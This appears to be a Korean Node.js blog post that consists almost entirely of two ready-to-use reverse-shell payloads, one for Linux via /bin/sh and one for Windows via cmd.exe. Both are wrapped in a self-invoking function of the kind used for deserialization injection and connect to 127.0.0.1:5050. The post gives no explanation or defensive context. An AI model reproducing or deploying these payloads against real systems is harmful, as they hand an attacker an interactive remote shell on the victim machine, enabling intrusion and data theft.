728x90
반응형
[Linux]
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(5050, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
[Windows]
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("C:\\Windows\\system32\\cmd.exe", []);
var client = new net.Socket();
client.connect(5050, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
728x90
반응형
'⚙️백엔드 > Node.js' 카테고리의 다른 글
npm - 구글 번역기 모듈(translate-google) (0) | 2022.11.07 |
---|---|
node.js - 모듈 파일 불러오기(exports) (0) | 2022.02.08 |
node.js - 최신 버전으로 업데이트 하기 (0) | 2022.01.13 |
Node.js - 윈도우 창을 숨겨주는 라이브러리 (0) | 2021.11.16 |